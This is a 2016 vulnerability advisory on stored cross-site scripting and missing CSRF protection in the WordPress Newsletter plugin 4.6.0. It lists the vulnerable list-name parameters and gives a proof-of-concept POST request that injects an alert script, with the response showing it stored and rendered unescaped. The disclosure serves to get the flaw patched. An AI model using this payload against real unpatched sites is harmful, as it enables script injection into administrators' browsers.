WordPress Newsletter 4.6.0 Cross Site Request Forgery / Cross Site Scripting
Posted on 14 October 2016
Hello, Wordpress Plugin: Newsletter 4.6.0 https://wordpress.org/plugins/newsletter/ is vulnerable to CSRF and XSS. The issue is supposed to be fixed in version 4.6.1 . See https://wordpress.org/plugins/newsletter/changelog/ for more details. 1. Stored Cross-Site Scripting (XSS) Authenticated administrators can inject html/js code (there is no CSRF protection). *Injection Location: *http://localhost/wordpress/wp-admin/admin.php?page= newsletter_subscription_lists *Method: *POST *Retrieval Location: *http://localhost/wordpress/wp-admin/admin.php?page= newsletter_users_massive *Vulnerable Parameter(s): * options[list_1] options[list_2] options[list_3] options[list_4] options[list_5] options[list_6] options[list_7] options[list_8] options[list_9] options[list_10] options[list_11] options[list_12] options[list_13] options[list_14] options[list_15] options[list_16] options[list_17] options[list_18] options[list_19] options[list_20] *Example Attack:* *Request:* POST /wordpress/wp-admin/admin.php?page=newsletter_subscription_lists HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate Referer: http://localhost/wordpress/wp-admin/admin.php?page= newsletter_subscription_lists Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 1762 act=save&btn=&_wpnonce=7cad5407b5&_wp_http_referer=%2Fwordpress%2Fwp-admin% 2Fadmin.php%3Fpage%3Dnewsletter_subscription_lists&options%5Blist_1%5D= test&options%5Blist_1_status%5D=1&options%5Blist_1_checked% 5D=1&options%5Blist_2%5D=&options%5Blist_2_status%5D=0& options%5Blist_2_checked%5D=0&options%5Blist_3%5D=&options% 5Blist_3_status%5D=0&options%5Blist_3_checked%5D=0&options% 5Blist_4%5D=&options%5Blist_4_status%5D=0&options%5Blist_4_ checked%5D=0&options%5Blist_5%5D=&options%5Blist_5_status% 5D=0&options%5Blist_5_checked%5D=0&options%5Blist_6%5D=& options%5Blist_6_status%5D=0&options%5Blist_6_checked%5D=0& options%5Blist_7%5D=bi1x5<script>alert('spiderlabs')<% 2fscript>gjoce&options%5Blist_7_status%5D=0&options%5Blist_ 7_checked%5D=0&options%5Blist_8%5D=&options%5Blist_8_status% 5D=0&options%5Blist_8_checked%5D=0&options%5Blist_9%5D=& options%5Blist_9_status%5D=0&options%5Blist_9_checked%5D=0& options%5Blist_10%5D=&options%5Blist_10_status%5D=0&options% 5Blist_10_checked%5D=0&options%5Blist_11%5D=&options% 5Blist_11_status%5D=0&options%5Blist_11_checked%5D=0& options%5Blist_12%5D=&options%5Blist_12_status%5D=0&options% 5Blist_12_checked%5D=0&options%5Blist_13%5D=&options% 5Blist_13_status%5D=0&options%5Blist_13_checked%5D=0& options%5Blist_14%5D=&options%5Blist_14_status%5D=0&options% 5Blist_14_checked%5D=0&options%5Blist_15%5D=&options% 5Blist_15_status%5D=0&options%5Blist_15_checked%5D=0& options%5Blist_16%5D=&options%5Blist_16_status%5D=0&options% 5Blist_16_checked%5D=0&options%5Blist_17%5D=&options% 5Blist_17_status%5D=0&options%5Blist_17_checked%5D=0& options%5Blist_18%5D=&options%5Blist_18_status%5D=0&options% 5Blist_18_checked%5D=0&options%5Blist_19%5D=&options% 5Blist_19_status%5D=0&options%5Blist_19_checked%5D=0& options%5Blist_20%5D=&options%5Blist_20_status%5D=0&options% 5Blist_20_checked%5D=0 *Response:* HTTP/1.1 200 OK Date: Wed, 28 Sep 2016 17:40:12 GMT Server: Apache X-Powered-By: PHP/7.0.10 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 102536 *Request:* GET /wordpress/wp-admin/admin.php?page=newsletter_users_massive HTTP/1.1 Host: localhost:8888 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: http://localhost:8888/wordpress/wp-admin/admin.php? page=newsletter_users_massive Content-Type: application/x-www-form-urlencoded Content-Length: 0 *Response:* HTTP/1.1 200 OK Date: Wed, 28 Sep 2016 17:40:37 GMT Server: Apache X-Powered-By: PHP/7.0.10 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN X-UA-Compatible: IE=edge Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98989 For preference <select id="options-list" name="options[list]"><option value="1">(1) test</option><option value="2">(2) </option><option value="3">(3) </option><option value="4">(4) </option><option value="5">(5) </option><option value="6">(6) </option><option value="7">(7) bi1x5<script>alert('spiderlabs')</script>gjoce</option><option value="8">(8) *Vulnerable PHP Code* /newsletter/subscription/lists.php:51,52 /users/massive.php -- Regards, Keith Lee
